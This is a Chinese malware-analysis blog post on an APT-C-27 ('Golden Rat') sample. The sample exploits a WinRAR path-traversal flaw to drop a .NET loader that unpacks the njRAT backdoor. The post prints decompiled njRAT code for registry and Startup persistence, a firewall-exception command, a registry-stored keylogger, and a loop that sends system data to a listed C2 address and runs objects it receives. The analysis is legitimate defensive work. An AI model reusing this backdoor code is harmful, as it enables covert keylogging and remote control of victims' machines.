APT-C-27(黄金鼠)攻击文档分析

admin 2022年7月1日10:43:55评论137 views字数 7584阅读25分16秒阅读模式

APT-C-27(黄金鼠)攻击文档分析

0x00 文件信息

  1. 样本MD5 : 314e8105f28530eb0bf54891b9b3ff69

  2. 是个压缩文件

0x01 样本行为

从之前的分析报告中能够看到,它会在使用WinRAR解压的时候释放文件到某个特定的目录。利用的WinRAR漏洞为CVE-2018-20250,接下来先去了解下CVE-2018-20250。


从FreeBuf的文章中可以看到,用WinRAR打开文件(不是解压),能够看到文件里面包含了一个磁盘。

APT-C-27(黄金鼠)攻击文档分析

我这里打开之后也同样能看到一个磁盘,说明这确实是使用了CVE-2018-20250。

这里我好像遇到了一个问题,WinRAR的版本不对,于是搜了一下别人能复现成功的版本 WinRAR 5.60简体中文版

WinRAR链接:https://www.rarlab.com/rar/winrar-x64-560sc.exe


这时候就已经CVE触发成功了,能看到向启动菜单释放了一个文件Telegram Desktop.exe,而且看图标,应该是.Net程序。

APT-C-27(黄金鼠)攻击文档分析

所以把这个文件从沙箱中脱出来分析。

释放文件分析

现在能看到,这个程序Main函数

APT-C-27(黄金鼠)攻击文档分析

主要是一个启动器,为了启动Form1,那么接下来就去分析一下Form1

APT-C-27(黄金鼠)攻击文档分析


APT-C-27(黄金鼠)攻击文档分析

APT-C-27(黄金鼠)攻击文档分析

Form1的构建函数就会初始化一些变量,我们用Python解一下看看这些变量是什么。

  1. dx1 = '4321'.replace('4', 'L').replace('3', 'o').replace('2', 'a').replace('1', 'd')

  2. dx2 = "98765438".replace("9", "E").replace("8", "nt").replace("7", "r").replace("6", "y").replace("5", "P").replace("4", "o").replace("3", "i")

  3. dx3 = "123456".replace("1", "I").replace("2", "n").replace("3", "v").replace("4", "o").replace("5", "k").replace("6", "e")

  4. ex1 = "[%79]".replace("7", "0").replace("9", "1").replace("%", "^")

  5. ex2 = ""

  6. print dx1

  7. print dx2

  8. print dx3

  9. print ex1

  10. /*

  11. Load

  12. EntryPoint

  13. Invoke

  14. <a href="#footnote-01"><sup>[01]</sup></a>

  15. */

接下来,在Form1_Load中,如下图,先从资源中写出一个vbs脚本,然后运行该脚本并等待17秒,估计是等待脚本运行完成。

APT-C-27(黄金鼠)攻击文档分析

那么我们去将.Net程序的资源文件dump下来,由于vbs脚本代码过长,附一个脚本链接:https://gist.github.com/490694561/ad5e4066c8660e169e58313019c44e7c

虽然我不咋会VBS不过从中大概看出的逻辑是

创建对象-设置运行环境然后创建行对象-设置内容格式为base64-然后写入对象-保存为文件-运行


接下来就去将这个Process.exe弄出来看一下是什么如下图,可以看到应该又是一个.Net程序。

APT-C-27(黄金鼠)攻击文档分析

APT-C-27(黄金鼠)攻击文档分析

可以看到如上图,程序的Main又是去运行Form1,所以依然去Form1看代码。


在Form1的构建函数中依然是初始化了一些变量

APT-C-27(黄金鼠)攻击文档分析

能看到Form1_Load的代码就是取创建这个1717.txt的

APT-C-27(黄金鼠)攻击文档分析

大致就是判断文件是否存在,如果存在就删除重新创建,如果不存在就直接创建


接下来需要知道创建的文件被写入了什么内容。

这里的str函数是自己写的,肯定有问题,先去看一下能看到是拼接资源文件中的字符串

APT-C-27(黄金鼠)攻击文档分析

所以需要先把这9个文件拼接在一起成为1717.txt


这里有个小问题,直接从dnspy中导出时总会在文件前面多3个字符,不清楚为啥

  1. tmp_data = ''

  2. for i in xrange(9):

  3. with open('1717_dumpfile/_%d' % (i + 1), 'rb') as f:

  4. tmp_data += f.read()

  5. with open('1717.txt', 'wb') as f:

  6. f.write(tmp_data)

这样就能得到1717.txt的文件了,并且程序到这里也就运行完了


APT-C-27(黄金鼠)攻击文档分析

继续看执行流程,能看到在sleep的时间过后就会读取1717.txt并且通过自己的函数RepBase64函数还原数据然后初始化一个字符串,RepBase64函数如下图,都使用Python脚本还原一下

APT-C-27(黄金鼠)攻击文档分析

  1. # -*- coding:utf-8 -*-

  2. with open('1717.txt', 'rb') as f:

  3. tmpdata = f.read()


  4. def RepBase64(x):

  5. x = x.replace("升", "AAAA")

  6. x = x.replace("丁", "B")

  7. x = x.replace("읍", "C")

  8. x = x.replace("알", "D")

  9. x = x.replace("앞", "E")

  10. x = x.replace("巨", "F")

  11. x = x.replace("얘", "G")

  12. x = x.replace("下", "H")

  13. x = x.replace("ᄍ", "I")

  14. x = x.replace("工", "J")

  15. x = x.replace("ᄊ", "K")

  16. x = x.replace("三", "L")

  17. x = x.replace("ᄈ", "M")

  18. x = x.replace("水", "N")

  19. x = x.replace("응", "O")

  20. x = x.replace("心", "P")

  21. x = x.replace("앙", "Q")

  22. x = x.replace("冊", "R")

  23. x = x.replace("음", "S")

  24. x = x.replace("內", "T")

  25. x = x.replace("ד", "U")

  26. x = x.replace("官", "V")

  27. x = x.replace("악", "W")

  28. x = x.replace("匹", "X")

  29. x = x.replace("안", "Y")

  30. x = x.replace("力", "Z")

  31. x = x.replace("月", "a")

  32. x = x.replace("을", "b")

  33. x = x.replace("ސ", "c")

  34. x = x.replace("임", "d")

  35. x = x.replace("戶", "e")

  36. x = x.replace("잎", "f")

  37. x = x.replace("已", "g")

  38. x = x.replace("율", "h")

  39. x = x.replace("尺", "i")

  40. x = x.replace("월", "j")

  41. x = x.replace("弓", "k")

  42. x = x.replace("원", "l")

  43. x = x.replace("七", "m")

  44. x = x.replace("웅", "n")

  45. x = x.replace("臼", "o")

  46. x = x.replace("울", "p")

  47. x = x.replace("人", "q")

  48. x = x.replace("운", "r")

  49. x = x.replace("山", "s")

  50. x = x.replace("옴", "t")

  51. x = x.replace("父", "u")

  52. x = x.replace("왕", "v")

  53. x = x.replace("了", "w")

  54. x = x.replace("왜", "x")

  55. x = x.replace("乙", "y")

  56. x = x.replace("에", "z")

  57. return x


  58. if __name__ == '__main__':

  59. aaa = RepBase64(tmpdata)

  60. print aaa

  61. text2 = "!#$%^ase*|St#ing".replace("!", "F").replace("#", "r").replace("$", "o").replace("%", "m").replace("^", "B").replace("*", "6").replace("|", "4")

  62. print text2

生成的这个程序应该就是njRAT后门程序了,但是我没从代码中看出来他是怎么运行的,估计还得仔细看一下


  1. this.zd1 = Thread.GetDomain();

  2. this.zd2 = CallType.Method;

  3. this.zd3 = CallType.Get;

  4. this.zd4 = null;

上面备份了4个变量,他们将在如下图所示的流程中使用

APT-C-27(黄金鼠)攻击文档分析

在 byte[] v = this.ccc(...) 前包含这一行主要进行的就是将 y 哪里的Base64代码转化为byte数组存在变量

objectValue3那里是通过隐式调用Load载入y的后门程序字节码,返回对象。

objectValue4那里是通过隐式调用EntryPoint应该是获得程序入口点。

objectValue5那里是通过隐式调用Invoke来从EntryPoint开始运行程序。

之后程序就被运行起来了,这个程序的作用就没那么大了。


然后转而去分析新生成的njRAT后门程序。

APT-C-27(黄金鼠)攻击文档分析

可以看到这还是一个.Net程序,同时我们还能看到很多需要用到的参数在OK类里,如下图

APT-C-27(黄金鼠)攻击文档分析

APT-C-27(黄金鼠)攻击文档分析

在运行一开始的时候就会先去调用OK类的ko方法

程序代码较长,直接放代码上来

  1. **public static void ko()

  2. {

  3. if (Interaction.Command() != null)

  4. {

  5. try

  6. {

  7. OK.F.Registry.CurrentUser.SetValue("di", "!");

  8. }

  9. catch (Exception ex)

  10. {

  11. }

  12. Thread.Sleep(5000);

  13. }

  14. bool flag = false;

  15. OK.MT = new Mutex(true, OK.RG, ref flag);

  16. if (!flag)

  17. {

  18. ProjectData.EndApp();

  19. }

  20. OK.INS();

  21. if (!OK.Idr)

  22. {

  23. OK.EXE = OK.LO.Name;

  24. OK.DR = OK.LO.Directory.Name;

  25. }

  26. Thread thread = new Thread(new ThreadStart(OK.RC), 1);

  27. thread.Start();

  28. try

  29. {

  30. OK.kq = new kl();

  31. thread = new Thread(new ThreadStart(OK.kq.WRK), 1);

  32. thread.Start();

  33. }

  34. catch (Exception ex2)

  35. {

  36. }

  37. int num = 0;

  38. string left = "";

  39. if (OK.BD)

  40. {

  41. try

  42. {

  43. SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)

  44. {

  45. OK.ED();

  46. };

  47. OK.pr(1);

  48. }

  49. catch (Exception ex3)

  50. {

  51. }

  52. }

  53. checked

  54. {

  55. for (;;)

  56. {

  57. Thread.Sleep(1000);

  58. if (!OK.Cn)

  59. {

  60. left = "";

  61. }

  62. Application.DoEvents();

  63. try

  64. {

  65. num++;

  66. if (num == 5)

  67. {

  68. try

  69. {

  70. Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;

  71. }

  72. catch (Exception ex4)

  73. {

  74. }

  75. }

  76. if (num >= 8)

  77. {

  78. num = 0;

  79. string text = OK.ACT();

  80. if (Operators.CompareString(left, text, false) != 0)

  81. {

  82. left = text;

  83. OK.Send("act" + OK.Y + text);

  84. }

  85. }

  86. if (OK.Isu)

  87. {

  88. try

  89. {

  90. if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\" + OK.RG, ""), """ + OK.LO.FullName + "" ..", false))

  91. {

  92. OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");

  93. }

  94. }

  95. catch (Exception ex5)

  96. {

  97. }

  98. try

  99. {

  100. if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\" + OK.RG, ""), """ + OK.LO.FullName + "" ..", false))

  101. {

  102. OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");

  103. }

  104. }

  105. catch (Exception ex6)

  106. {

  107. }

  108. }

  109. }

  110. catch (Exception ex7)

  111. {

  112. }

  113. }

  114. }

  115. }**

从这里能看到首先被执行的函数是 OK.INS() 就目前而言前面两个判断都不会执行。

  1. **public static void INS()

  2. {

  3. Thread.Sleep(1000);

  4. if (OK.Idr)

  5. {

  6. if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\" + OK.EXE.ToLower())))

  7. {

  8. try

  9. {

  10. if (File.Exists(Interaction.Environ(OK.DR) + "\" + OK.EXE))

  11. {

  12. File.Delete(Interaction.Environ(OK.DR) + "\" + OK.EXE);

  13. }

  14. FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\" + OK.EXE, FileMode.CreateNew);

  15. byte[] array = File.ReadAllBytes(OK.LO.FullName);

  16. fileStream.Write(array, 0, array.Length);

  17. fileStream.Flush();

  18. fileStream.Close();

  19. OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\" + OK.EXE);

  20. Process.Start(OK.LO.FullName);

  21. ProjectData.EndApp();

  22. }

  23. catch (Exception ex)

  24. {

  25. ProjectData.EndApp();

  26. }

  27. }

  28. }

  29. try

  30. {

  31. Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);

  32. }

  33. catch (Exception ex2)

  34. {

  35. }

  36. try

  37. {

  38. Interaction.Shell(string.Concat(new string[]

  39. {

  40. "Exceptiona firewall add allowedprogram "",

  41. OK.LO.FullName,

  42. "" "",

  43. OK.LO.Name,

  44. "" ENABLE"

  45. }), AppWinStyle.Hide, true, 5000);

  46. }

  47. catch (Exception ex3)

  48. {

  49. }

  50. if (OK.Isu)

  51. {

  52. try

  53. {

  54. OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");

  55. }

  56. catch (Exception ex4)

  57. {

  58. }

  59. try

  60. {

  61. OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");

  62. }

  63. catch (Exception ex5)

  64. {

  65. }

  66. }

  67. if (OK.IsF)

  68. {

  69. try

  70. {

  71. File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\" + OK.RG + ".exe", true);

  72. OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\" + OK.RG + ".exe", FileMode.Open);

  73. }

  74. catch (Exception ex6)

  75. {

  76. }

  77. }

  78. }**

这样来看,一开始的if也是不成立的,一开始那个值为false,然后设置环境变量SEEMASKNOZONECHECKS

APT-C-27(黄金鼠)攻击文档分析

看网上这是关闭附件检查器的意思

然后添加防火墙白名单[应该是吧,我也看不那么懂,没用过这些命令]

APT-C-27(黄金鼠)攻击文档分析

这函数的后两个if都不会执行,所以回到主流程。


返回主流程后会新建两个现成分别是函数OK.RC和函数OK.kq.WRK,然后在函数OK.RC中能看到有调用connect方法。

在connect方法里面还有个Connect方法,Connect方法传入C&C服务器ip和port并且尝试建立连接。

Server ip : 82.137.255.56 Server port : 1921

之后马上调用方法OK.inf用于获取系统的一些信息,并且调用OK.Send发送至服务器,然后会再次拼接一些系统相关信息[暂时还未分析],然后传回服务器

退回OK.RC函数,这时候就会进入一个大循环然后这个循环的主要功能是接收C&C服务器发来的Object[对,没看错,真的是.Net对象]然后拷贝到OK.MeM并且执行

APT-C-27(黄金鼠)攻击文档分析


进入OK.Ind函数,字数限制,贴一个源码ind-function.java链接:https://gist.github.com/490694561/ad5e4066c8660e169e58313019c44e7c/revisions


然后继续退回到主函数ok,往下看到创建线程,函数为OK.kq.WRK

该函数主要为键盘记录

但是我没法理解他为啥不用事件去做键盘记录而是使用循环判断,这样不会导致计算机资源占用较大吗

APT-C-27(黄金鼠)攻击文档分析

函数大概内容就是一个大循环每1000次调用一下OK.STV,然后里面的do...while是用于判断按键的,这里套用一下百度百科的说法

APT-C-27(黄金鼠)攻击文档分析

所以相当于遍历所有键,判断当前用户按的是哪个键。


进入函数OK.STV能看到这是个写注册表的函数

APT-C-27(黄金鼠)攻击文档分析

在某个特定的路径下创建键值对,而且在上层函数中能够看到存的键值名称固定为[kl],然后往注册表中存入键盘记录信息,信息大小为20 * 1024,如果超过这个长度就会切掉前面多余的部分留下最新的。


放一张后门程序函数图

APT-C-27(黄金鼠)攻击文档分析

总结

该njRAT远控还具有远程SHELL、插件下载执行、远程桌面、文件管理等多个功能,就不一一解释了。cve分析待续。

三叶草小组公众号

新浪微博:@三叶草小组Syclover

热爱技术,初心依旧~

APT-C-27(黄金鼠)攻击文档分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月1日10:43:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APT-C-27(黄金鼠)攻击文档分析https://cn-sec.com/archives/948354.html

发表评论

匿名网友 填写信息